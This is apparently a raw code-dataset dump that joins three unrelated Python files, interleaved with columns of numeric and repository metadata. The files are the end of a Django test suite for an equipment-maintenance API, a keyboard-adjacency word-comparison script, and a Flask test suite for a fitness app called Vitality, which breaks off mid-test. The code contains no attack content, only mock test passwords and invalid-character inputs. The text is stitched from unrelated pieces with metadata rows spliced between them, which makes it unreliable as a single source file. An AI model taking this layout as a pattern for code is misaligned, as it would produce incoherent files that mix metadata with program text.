def test_US21_I2_equipmentdetails_put_with_wrong_new_fields_with_perm(self):
"""
Test if a user with perm can update an equipment with fields from equipment type.
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with wrong new fields.
Expected Output:
We expect a 400 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
pression = Field.objects.get(name="Pression")
marque = Field.objects.get(name="Marque")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name":
"Equipement avec nouveau type",
"equipment_type":
EquipmentType.objects.get(name="Embouteilleuse").id,
"field":
[
{
"id": FieldObject.objects.get(field=pression).id,
"field": pression.id,
"value": "3 bars"
}, {
"id": FieldObject.objects.get(field=marque).id,
"field": marque.id,
"field_value":
{
"id": FieldValue.objects.get(value="BOSH").id,
"value": "BOSH",
"field": marque.id
}
}, {
"value": "3",
"description": "WRONG NEW FIELD"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 400)
def test_US21_I2_equipmentdetails_put_with_new_equipmenttype_with_perm(self):
"""
Test if a user with perm can update an equipment with a new equipment type.
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with new equipment type.
serializer (EquipmentDetailsSerializer): a serializer containing the data of the updated equipment.
Expected Output:
We expect a 200 status code in the response.
We expect to get in the response the same data as in serializer.
We expect to do not find all fields related to previous equipment type in the updated equipment.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
pression_object = FieldObject.objects.get(field=Field.objects.get(name="Pression"))
capacite_object = FieldObject.objects.get(field=Field.objects.get(name="Nb bouteilles"))
marque_object = FieldObject.objects.get(field=Field.objects.get(name="Marque"))
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name":
"Embouteilleuse AXB7",
"equipment_type":
EquipmentType.objects.get(name="EquipmentTypeTest").id,
"field":
[
{
"field": Field.objects.get(name="FieldWithoutValueTest").id,
"value": "13",
"description": "Simple field"
}, {
"field": Field.objects.get(name="FieldWithValueTest").id,
"value": "FieldValueTest"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 200)
equipment = Equipment.objects.get(name="Embouteilleuse AXB7")
serializer = EquipmentDetailsSerializer(equipment)
self.assertEqual(serializer.data, response.json())
self.assertNotIn(pression_object, FieldObject.objects.filter(field=Field.objects.get(name="Pression")))
self.assertNotIn(capacite_object, FieldObject.objects.filter(field=Field.objects.get(name="Nb bouteilles")))
self.assertNotIn(marque_object, FieldObject.objects.filter(field=Field.objects.get(name="Marque")))
def test_US21_I2_equipmentdetails_put_with_new_equipmenttype_and_new_fields_with_perm(self):
"""
Test if a user with perm can update an equipment with a new equipment type.
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with new equipment type and new fields.
serializer (EquipmentDetailsSerializer): a serializer containing the data of the updated equipment.
Expected Output:
We expect a 200 status code in the response.
We expect to get in the response the same data as in serializer.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name":
"Embouteilleuse AXB7",
"equipment_type":
EquipmentType.objects.get(name="EquipmentTypeTest").id,
"field":
[
{
"field": Field.objects.get(name="FieldWithoutValueTest").id,
"value": "13",
"description": "Simple field"
}, {
"field": Field.objects.get(name="FieldWithValueTest").id,
"value": "FieldValueTest"
}, {
"name": "New field",
"value": "8",
}
]
},
format='json'
)
self.assertEqual(response.status_code, 200)
equipment = Equipment.objects.get(name="Embouteilleuse AXB7")
serializer = EquipmentDetailsSerializer(equipment)
self.assertEqual(serializer.data, response.json())
def test_US21_I2_equipmentdetails_put_with_new_equipmenttype_and_missing_expected_fields_with_perm(self):
"""
Test if a user with perm can update an equipment with a new equipment type.
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with new equipment type but missing expected fields.
Expected Output:
We expect a 400 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name":
"Embouteilleuse AXB7",
"equipment_type":
EquipmentType.objects.get(name="EquipmentTypeTest").id,
"field":
[
{
"field": Field.objects.get(name="FieldWithoutValueTest").id,
"value": "13",
"description": "Simple field"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 400)
def test_US21_I3_removefieldfromequipment_delete_with_perm(self):
"""
Test if a user with perm can delete an added field from an equipment.
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with new field.
delete data (JSON): id's to get the object to delete.
Expected Output:
We expect a 204 status code in the response.
We expect to don't find the deleted field object.
We expect to don't find the field related to the deleted field object.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name": "Embouteilleuse AXB7",
"equipment_type": EquipmentType.objects.get(name="Embouteilleuse").id,
"field": [{
"name": "New field",
"value": "8"
}]
},
format='json'
)
field_object_id = FieldObject.objects.get(field=Field.objects.get(name="New field")).id
response = c.delete(
"/api/maintenancemanagement/removefieldfromequipment/", {
"equipment_id": equipment.id,
"fieldobject_id": field_object_id
},
format='json'
)
self.assertEqual(response.status_code, 204)
self.assertEqual(Field.objects.filter(name="New field").count(), 0)
self.assertEqual(FieldObject.objects.filter(id=field_object_id).count(), 0)
def test_US21_I3_removefieldfromequipment_delete_without_perm(self):
"""
Test if a user without perm can't delete an added field from an equipment.
Inputs:
user (UserProfile): a UserProfile without permissions to change equipments.
delete data (JSON): id's to get the object to delete.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
c = APIClient()
c.force_authenticate(user=user)
response = c.delete(
"/api/maintenancemanagement/removefieldfromequipment/", {
"equipment_id": 1,
"fieldobject_id": 1
},
format='json'
)
self.assertEqual(response.status_code, 401)
def test_US21_I3_removefieldfromequipment_delete_with_perm_and_missing_equipment(self):
"""
Test if a user with perm can't delete a field with wrong JSON.
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with new field.
delete data (JSON): id's to get the object to delete with missing equipment id.
Expected Output:
We expect a 400 status code in the response.
We expect to find the field object that isn't supposed to be deleted.
We expect to find the field related to the field object that isn't supposed to be deleted.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name": "Embouteilleuse AXB7",
"equipment_type": EquipmentType.objects.get(name="Embouteilleuse").id,
"field": [{
"name": "New field",
"value": "8"
}]
},
format='json'
)
field_object_id = FieldObject.objects.get(field=Field.objects.get(name="New field")).id
response = c.delete(
"/api/maintenancemanagement/removefieldfromequipment/", {"fieldobject_id": field_object_id}, format='json'
)
self.assertEqual(response.status_code, 400)
self.assertEqual(Field.objects.filter(name="New field").count(), 1)
self.assertEqual(FieldObject.objects.filter(id=field_object_id).count(), 1)
def test_US21_I3_removefieldfromequipment_delete_with_perm_and_missing_fieldobject(self):
"""
Test if a user with perm can't delete a field with wrong JSON.
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with new field.
delete data (JSON): id's to get the object to delete with missing field object id.
Expected Output:
We expect a 400 status code in the response.
We expect to find the field object that isn't supposed to be deleted.
We expect to find the field related to the field object that isn't supposed to be deleted.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name": "Embouteilleuse AXB7",
"equipment_type": EquipmentType.objects.get(name="Embouteilleuse").id,
"field": [{
"name": "New field",
"value": "8"
}]
},
format='json'
)
field_object_id = FieldObject.objects.get(field=Field.objects.get(name="New field")).id
response = c.delete(
"/api/maintenancemanagement/removefieldfromequipment/", {
"equipment_id": equipment.id,
}, format='json'
)
self.assertEqual(response.status_code, 400)
self.assertEqual(Field.objects.filter(name="New field").count(), 1)
self.assertEqual(FieldObject.objects.filter(id=field_object_id).count(), 1)
def test_US21_I3_removefieldfromequipment_delete_with_perm_but_expected_field(self):
"""
Test if a user with perm can't delete an expected field from the equipment type.
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
delete data (JSON): id's to get the object to delete with field object id corresponding to expected field from equipment type.
Expected Output:
We expect a 400 status code in the response.
We expect to find the field object that isn't supposed to be deleted.
We expect to find the field related to the field object that isn't supposed to be deleted.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
field_object_id = FieldObject.objects.get(field=Field.objects.get(name="Pression")).id
response = c.delete(
"/api/maintenancemanagement/removefieldfromequipment/", {
"equipment_id": equipment.id,
"fieldobject_id": field_object_id
},
format='json'
)
self.assertEqual(response.status_code, 400)
self.assertEqual(Field.objects.filter(name="Pression").count(), 1)
self.assertEqual(FieldObject.objects.filter(id=field_object_id).count(), 1)
def test_US21_I3_removefieldfromequipment_delete_with_perm_with_wrong_pair_equipment_field(self):
"""
Test if a user with perm can't delete a field from a wrong equipment.
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with new field.
delete data (JSON): id's to get the object to delete with missing wrong pair equipment and field.
Expected Output:
We expect a 400 status code in the response.
We expect to find the field object that isn't supposed to be deleted.
We expect to find the field related to the field object that isn't supposed to be deleted.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name": "Embouteilleuse AXB7",
"equipment_type": EquipmentType.objects.get(name="Embouteilleuse").id,
"field": [{
"name": "New field",
"value": "8"
}]
},
format='json'
)
field_object_id = FieldObject.objects.get(field=Field.objects.get(name="New field")).id
eq_type = EquipmentType.objects.create(name="temp")
wrong_equipment = Equipment.objects.create(name="Wrong Eq", equipment_type=eq_type)
response = c.delete(
"/api/maintenancemanagement/removefieldfromequipment/", {
"equipment_id": wrong_equipment.id,
"fieldobject_id": field_object_id
},
format='json'
)
self.assertEqual(response.status_code, 400)
self.assertEqual(Field.objects.filter(name="New field").count(), 1)
self.assertEqual(FieldObject.objects.filter(id=field_object_id).count(), 1)
| 43.534005
| 142
| 0.557296
| 6,953
| 69,132
| 5.431037
| 0.036675
| 0.038663
| 0.041894
| 0.025661
| 0.915126
| 0.905858
| 0.887532
| 0.878661
| 0.871696
| 0.856496
| 0
| 0.013889
| 0.346974
| 69,132
| 1,587
| 143
| 43.561437
| 0.822572
| 0.225945
| 0
| 0.700772
| 0
| 0
| 0.163418
| 0.053042
| 0
| 0
| 0
| 0
| 0.067568
| 1
| 0.050193
| false
| 0.042471
| 0.010618
| 0
| 0.062741
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8e330189e3caef2d8ad0eb7f5b3b9f6f8cbf9b29
| 4,653
|
py
|
Python
|
soluciones/RPC/2020-6/K_Auteams.py
|
ProgamacionCompetitivaUTFSM/ProgramacionCompetitivaUSM
|
1fec5c3353663c75c66b67f13c6a20bc0ab63af2
|
[
"MIT"
] | 4
|
2020-03-30T18:29:50.000Z
|
2020-10-02T03:09:23.000Z
|
soluciones/RPC/2020-6/K_Auteams.py
|
ProgamacionCompetitivaUTFSM/ProgramacionCompetitivaUSM
|
1fec5c3353663c75c66b67f13c6a20bc0ab63af2
|
[
"MIT"
] | 1
|
2020-06-16T07:35:38.000Z
|
2020-06-16T07:35:38.000Z
|
soluciones/RPC/2020-6/K_Auteams.py
|
ProgamacionCompetitivaUTFSM/ProgramacionCompetitivaUSM
|
1fec5c3353663c75c66b67f13c6a20bc0ab63af2
|
[
"MIT"
] | 4
|
2020-03-29T02:19:23.000Z
|
2021-04-29T15:34:21.000Z
|
fila1="abcdefghi"
fila2="jklmnopqr"
fila3="stuvwxyz"
n=int(input())
for i in range(0,n):
flag=True
palabras=input()
palabras=palabras.strip().split()
if (len(palabras[0])==len(palabras[1])):
if (palabras[0]==palabras[1]):
print("1")
pass
else:
for j in range(0,len(palabras[0])):
if palabras[0][j] in fila1:
temp=fila1.find(palabras[0][j])
if temp==0:
if palabras[1][j]==fila1[temp] or palabras[1][j]==fila1[temp+1] or palabras[1][j]==fila2[temp] or palabras[1][j]==fila2[temp+1]:
pass
else:
flag=False
break
elif temp==8:
if palabras[1][j]==fila1[temp] or palabras[1][j]==fila1[temp-1] or palabras[1][j]==fila2[temp] or palabras[1][j]==fila2[temp-1]:
pass
else:
flag=False
break
else:
if palabras[1][j]==fila1[temp] or palabras[1][j]==fila1[temp+1] or palabras[1][j]==fila2[temp] or palabras[1][j]==fila2[temp+1] or palabras[1][j]==fila1[temp-1] or palabras[1][j]==fila2[temp-1]:
pass
else:
flag=False
break
elif palabras[0][j] in fila2:
temp=fila2.find(palabras[0][j])
if temp==0:
if palabras[1][j]==fila2[temp] or palabras[1][j]==fila1[temp] or palabras[1][j]==fila3[temp] or palabras[1][j]==fila2[temp+1]or palabras[1][j]==fila1[temp+1] or palabras[1][j]==fila3[temp+1]:
pass
else:
flag=False
break
elif temp==8:
if palabras[1][j]==fila2[temp] or palabras[1][j]==fila1[temp] or palabras[1][j]==fila2[temp-1]or palabras[1][j]==fila1[temp-1] or palabras[1][j]==fila3[temp-1]:
pass
else:
flag=False
break
elif temp==7:
if palabras[1][j]==fila2[temp] or palabras[1][j]==fila1[temp] or palabras[1][j]==fila3[temp] or palabras[1][j]==fila2[temp+1]or palabras[1][j]==fila1[temp+1] or palabras[1][j]==fila3[temp-1]or palabras[1][j]==fila2[temp-1]or palabras[1][j]==fila1[temp-1]:
pass
else:
flag=False
break
else:
if palabras[1][j]==fila2[temp] or palabras[1][j]==fila1[temp] or palabras[1][j]==fila3[temp] or palabras[1][j]==fila2[temp+1]or palabras[1][j]==fila1[temp+1] or palabras[1][j]==fila3[temp+1] or palabras[1][j]==fila3[temp-1]or palabras[1][j]==fila2[temp-1]or palabras[1][j]==fila1[temp-1]:
pass
else:
flag=False
break
elif palabras[0][j] in fila3:
temp=fila3.find(palabras[0][j])
if temp==0:
if palabras[1][j]==fila3[temp] or palabras[1][j]==fila3[temp+1] or palabras[1][j]==fila2[temp] or palabras[1][j]==fila2[temp+1]:
pass
else:
flag=False
break
if temp==7:
if palabras[1][j]==fila3[temp] or palabras[1][j]==fila2[temp] or palabras[1][j]==fila2[temp+1] or palabras[1][j]==fila3[temp-1] or palabras[1][j]==fila2[temp-1]:
pass
else:
flag=False
break
else:
if palabras[1][j]==fila3[temp] or palabras[1][j]==fila3[temp+1] or palabras[1][j]==fila2[temp] or palabras[1][j]==fila2[temp+1] or palabras[1][j]==fila3[temp-1] or palabras[1][j]==fila2[temp-1]:
pass
else:
flag=False
break
if flag:
print("2")
pass
else:
print("3")
pass
else:
print("3")
pass
| 51.131868
| 313
| 0.40533
| 546
| 4,653
| 3.454212
| 0.065934
| 0.281548
| 0.302227
| 0.299046
| 0.862142
| 0.845175
| 0.841994
| 0.841994
| 0.841994
| 0.841994
| 0
| 0.071036
| 0.452396
| 4,653
| 91
| 314
| 51.131868
| 0.669152
| 0
| 0
| 0.640449
| 0
| 0
| 0.006573
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.157303
| 0
| 0
| 0
| 0.044944
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| 0
| 0
|
0
| 10
|
f3ebc76cb9744035996542750451da854659a8a7
| 71,692
|
py
|
Python
|
tests/test_flask.py
|
santosderek/Vitality
|
cc90d3b561c3b75f000288345d7a1442fb2b3fec
|
[
"MIT"
] | 1
|
2020-09-18T17:08:53.000Z
|
2020-09-18T17:08:53.000Z
|
tests/test_flask.py
|
santosderek/Vitality
|
cc90d3b561c3b75f000288345d7a1442fb2b3fec
|
[
"MIT"
] | 91
|
2020-09-25T23:12:58.000Z
|
2020-12-19T04:57:50.000Z
|
tests/test_flask.py
|
santosderek/4155-Team
|
cc90d3b561c3b75f000288345d7a1442fb2b3fec
|
[
"MIT"
] | 3
|
2020-09-26T22:35:42.000Z
|
2020-10-13T18:22:22.000Z
|
from datetime import datetime
from bson.objectid import ObjectId
from flask.globals import request
import pytest
from flask import g, session, url_for
from os import environ
from vitality import create_app
from vitality import database
from vitality.database import Database, WorkoutCreatorIdNotFoundError, password_sha256, InvalidCharactersException
from vitality.trainee import Trainee
from vitality.trainer import Trainer
from vitality.workout import Workout
from vitality.event import Event
from vitality.settings import MONGO_URI, SECRET_KEY
from datetime import datetime
from dotenv import load_dotenv
from time import sleep
test_trainee = Trainee(
_id=None,
username="testtrainee",
password="password",
name="first last",
phone=1234567890
)
test_trainer = Trainer(
_id=None,
username="testtrainer",
password="password",
name="first last",
phone=1234567890
)
def login_as_testTrainee(client):
"""Login as testTrainee"""
returned_value = client.post('/login', data=dict(
username="testtrainee",
password="password"
), follow_redirects=True)
assert returned_value.status_code == 200
assert b'Could not log you in!' not in returned_value.data
assert b'Add Trainer' in returned_value.data
assert b'Workouts' in returned_value.data
assert b'Schedule' in returned_value.data
def login_as_testTrainer(client):
"""Login as testTrainer"""
returned_value = client.post('/login', data=dict(
username="testtrainer",
password="password"
), follow_redirects=True)
assert returned_value.status_code == 200
assert b'Could not log you in!' not in returned_value.data
assert b'Add Trainee' in returned_value.data
assert b'Workouts' in returned_value.data
assert b'Schedule' in returned_value.data
@pytest.fixture
def client():
environ['SECRET_KEY'] = 'aTestSecret'
load_dotenv('.env')
app = create_app()
app.config['TESTING'] = True
app.secret_key = environ.get('SECRET_KEY')
database = Database(MONGO_URI)
def setup():
""" Code run after client has been used """
teardown()
database.add_trainer(test_trainer)
database.add_trainee(test_trainee)
def teardown():
""" Code run after client has been used """
while database.get_trainee_by_username("testtrainee"):
database.remove_trainee(
database.get_trainee_by_username("testtrainee")._id)
while database.get_trainer_by_username("testtrainer"):
database.remove_trainer(
database.get_trainer_by_username("testtrainer")._id)
with app.test_client() as client:
with app.app_context():
setup()
yield client
teardown()
def test_failed_login_username(client):
# Testing the failed login page
returned_value = client.post('/login', data=dict(
username="testtrainee#%#^",
password="password"
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
assert g.user is None
def test_failed_login_username_uppercase(client):
# Testing the failed login page
returned_value = client.post('/login', data=dict(
username="testTrainee",
password="password"
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
assert g.user is None
def test_failed_login_password(client):
# Testing the failed login page
returned_value = client.post('/login', data=dict(
username="testtrainee",
password="password#^#$#"
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
assert g.user is None
def test_failed_signup_username(client):
# Testing the failed signup page
returned_value = client.post('/signup', data=dict(
username="testtrainee^#$^%^",
password="password",
name="test",
repassword="password",
phone="12345678",
usertype="trainee"
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
assert g.user is None
def test_failed_signup_username_uppercase(client):
# Testing the failed signup page
returned_value = client.post('/signup', data=dict(
username="testTrainee",
password="password",
name="test",
repassword="password",
phone="12345678",
usertype="trainee"
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
assert g.user is None
def test_failed_signup_password(client):
# Testing the failed signup page
returned_value = client.post('/signup', data=dict(
username="testtrainee",
password="password^#$^%^",
name="test",
repassword="password",
phone="12345678",
usertype="trainee"
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
assert g.user is None
def test_failed_signup_name(client):
# Testing the failed signup page
returned_value = client.post('/signup', data=dict(
username="testtrainee",
password="password",
name="1245667*#",
repassword="password",
phone="12345678",
usertype="trainee"
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
assert g.user is None
def test_failed_signup_repassword(client):
# Testing the failed signup page
returned_value = client.post('/signup', data=dict(
username="testtrainee",
password="password",
name="test",
repassword="password^#$^%",
phone="12345678",
usertype="trainee"
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
assert g.user is None
def test_failed_signup_phone(client):
# Testing the failed signup page
returned_value = client.post('/signup', data=dict(
username="testtrainee",
password="password",
name="test",
repassword="password",
phone="phone",
usertype="trainee"
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
assert g.user is None
def test_failed_signup_usertype(client):
# Testing the failed signup page
returned_value = client.post('/signup', data=dict(
username="testtrainee",
password="password",
name="test",
repassword="password",
phone="12345678",
usertype="117"
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
assert g.user is None
def test_failed_usersettings_username(client):
# Testing the failed user settings page
# Get without a user
returned_value = client.get('/usersettings', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
# Login as trainee
login_as_testTrainee(client)
# Check profile page.
returned_value = client.post('/usersettings', data=dict(
username="testtrainee^#$^%^",
password="password",
name="test",
repassword="password",
phone="12345678",
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
def test_failed_usersettings_username_uppercase(client):
# Testing the failed user settings page
# Get without a user
returned_value = client.get('/usersettings', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
# Login as trainee
login_as_testTrainee(client)
# Check profile page.
returned_value = client.post('/usersettings', data=dict(
username="testTrainee",
password="password",
name="test",
repassword="password",
phone="12345678",
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
def test_failed_usersettings_password(client):
# Testing the failed user settings page
# Get without a user
returned_value = client.get('/usersettings', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
# Login as trainee
login_as_testTrainee(client)
# Check profile page.
returned_value = client.post('/usersettings', data=dict(
username="testtrainee",
password="password^#$^%^",
name="test",
repassword="password",
phone="12345678",
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
def test_failed_usersettings_repassword(client):
# Testing the failed user settings page
# Get without a user
returned_value = client.get('/usersettings', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
# Login as trainee
login_as_testTrainee(client)
# Check profile page.
returned_value = client.post('/usersettings', data=dict(
username="testtrainee",
password="password",
name="test",
repassword="password^#$^%^",
phone="12345678",
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
def test_failed_usersettings_name(client):
# Testing the failed user settings page
# Get without a user
returned_value = client.get('/usersettings', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
# Login as trainee
login_as_testTrainee(client)
# Check profile page.
returned_value = client.post('/usersettings', data=dict(
username="testtrainee",
password="password",
name="117",
repassword="password",
phone="12345678",
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
"""def test_failed_usersettings_location(client):
# Testing the failed user settings page
# Get without a user
returned_value = client.get('/usersettings', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
# Login as trainee
login_as_testTrainee(client)
# Check profile page.
returned_value = client.post('/usersettings', data=dict(
username="testtrainee",
password="password",
name="test",
repassword="password",
phone="12345678",
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data"""
def test_failed_usersettings_phone(client):
# Testing the failed user settings page
# Get without a user
returned_value = client.get('/usersettings', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
# Login as trainee
login_as_testTrainee(client)
# Check profile page.
returned_value = client.post('/usersettings', data=dict(
username="testtrainee",
password="password",
name="test",
repassword="password",
phone="phone",
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Invalid characters found' in returned_value.data
def test_home(client):
"""Testing the home page"""
returned_value = client.get('/', follow_redirects=True)
assert returned_value.status_code == 200
def test_features(client):
"""Testing the home page"""
returned_value = client.get('/features', follow_redirects=True)
assert returned_value.status_code == 200
def test_login(client):
"""Testing the login page"""
# Get without a user
returned_value = client.get('/login', follow_redirects=True)
assert returned_value.status_code == 200
# POST with a user
login_as_testTrainee(client)
# POST with a fake user
returned_value = client.post('/login', data=dict(
username="fake",
password="password"
), follow_redirects=True)
assert returned_value.status_code == 200
assert b'Could not log you in!' in returned_value.data
assert b'Add Trainer' not in returned_value.data
assert b'Username' in returned_value.data
assert b'Password' in returned_value.data
assert b'Login</button>' in returned_value.data
assert b'Remember me</label>' in returned_value.data
def test_signup(client):
"""Testing the sign up page"""
def clean_up(trainer, trainee):
g.database.mongo.trainer.delete_many({
'_id': ObjectId(trainer._id)
})
g.database.mongo.trainee.delete_many({
'_id': ObjectId(trainee._id)
})
# Get without a user
returned_value = client.get('/signup', follow_redirects=True)
assert returned_value.status_code == 200
# POST with a wrong password combination
returned_value = client.post('/signup', data=dict(
username="testtrainee",
password="password",
repassword="repassword",
name="first last",
phone=1234567890,
usertype="trainee",
lng=0,
lat=0
), follow_redirects=True)
assert returned_value.status_code == 200
assert b'Account was created!' not in returned_value.data
assert b'Could not create account' in returned_value.data
assert b'Username was taken' not in returned_value.data
assert b'<form action="/signup" method="POST">' in returned_value.data
# POST with a wrong usertype
returned_value = client.post('/signup', data=dict(
username="testtrainee",
password="password",
repassword="password",
name="first last",
phone=1234567890,
usertype="notausertype",
lng=0,
lat=0
), follow_redirects=True)
assert returned_value.status_code == 200
assert b'Account was created!' not in returned_value.data
assert b'Could not create account' in returned_value.data
assert b'Username was taken' not in returned_value.data
assert b'<form action="/signup" method="POST">' in returned_value.data
# POST with a username that was taken
returned_value = client.post('/signup', data=dict(
username="testtrainee",
password="password",
repassword="password",
name="first last",
phone=1234567890,
usertype="trainee",
lng=0,
lat=0
), follow_redirects=True)
assert returned_value.status_code == 200
assert b'Account was created!' not in returned_value.data
assert b'Could not create account' not in returned_value.data
assert b'Username was taken' in returned_value.data
assert b'<form action="/signup" method="POST">' in returned_value.data
trainee = g.database.get_trainee_by_username("testtrainee")
trainer = g.database.get_trainer_by_username("testtrainer")
clean_up(trainer, trainee)
# POST with a username that was not taken, success, Trainee
returned_value = client.post('/signup', data=dict(
username="testtrainee",
password="password",
repassword="password",
name="first last",
phone=1234567890,
usertype="trainee",
lng=0,
lat=0
), follow_redirects=True)
assert returned_value.status_code == 200
assert b'Account was created!' in returned_value.data
assert b'Could not create account' not in returned_value.data
assert b'Username was taken' not in returned_value.data
assert b'<form action="/signup" method="POST">' not in returned_value.data
clean_up(trainer, trainee)
# POST with a username that was not taken, success, Trainer
returned_value = client.post('/signup', data=dict(
username="testtrainer",
password="password",
repassword="password",
name="first last",
phone=1234567890,
usertype="trainer",
lng=0,
lat=0
), follow_redirects=True)
assert returned_value.status_code == 200
assert b'Account was created!' in returned_value.data
assert b'Could not create account' not in returned_value.data
assert b'Username was taken' not in returned_value.data
assert b'<form action="/signup" method="POST">' not in returned_value.data
clean_up(trainer, trainee)
def test_profile(client):
"""Testing the profile page"""
# Get without a user
returned_value = client.get('/profile/test', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
trainer = g.database.get_trainer_by_username("testtrainer")
trainee = g.database.get_trainee_by_username("testtrainee")
# Login
login_as_testTrainee(client)
# Check profile page.
returned_value = client.get('/profile/testtrainee', follow_redirects=True)
assert returned_value.status_code == 200
assert bytes('Username: {}'.format(trainee.username),
'utf-8') in returned_value.data
assert bytes('Name: {}'.format(trainee.name),
'utf-8') in returned_value.data
assert bytes('Phone: {}'.format(trainee.phone),
'utf-8') in returned_value.data
assert b'login' not in returned_value.data
# Login
login_as_testTrainer(client)
# Check profile page.
returned_value = client.get('/profile/testtrainer', follow_redirects=True)
assert returned_value.status_code == 200
assert bytes('Username: {}'.format(trainer.username),
'utf-8') in returned_value.data
assert bytes('Name: {}'.format(trainer.name),
'utf-8') in returned_value.data
assert bytes('Phone: {}'.format(trainer.phone),
'utf-8') in returned_value.data
assert b'login' not in returned_value.data
def test_usersettings(client):
"""Testing the user settings page"""
# Get without a user
returned_value = client.get('/usersettings', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
# Login as trainee
login_as_testTrainee(client)
# Get id before change
database_user_id = g.database.get_trainee_by_username("testtrainee")._id
# Check profile page.
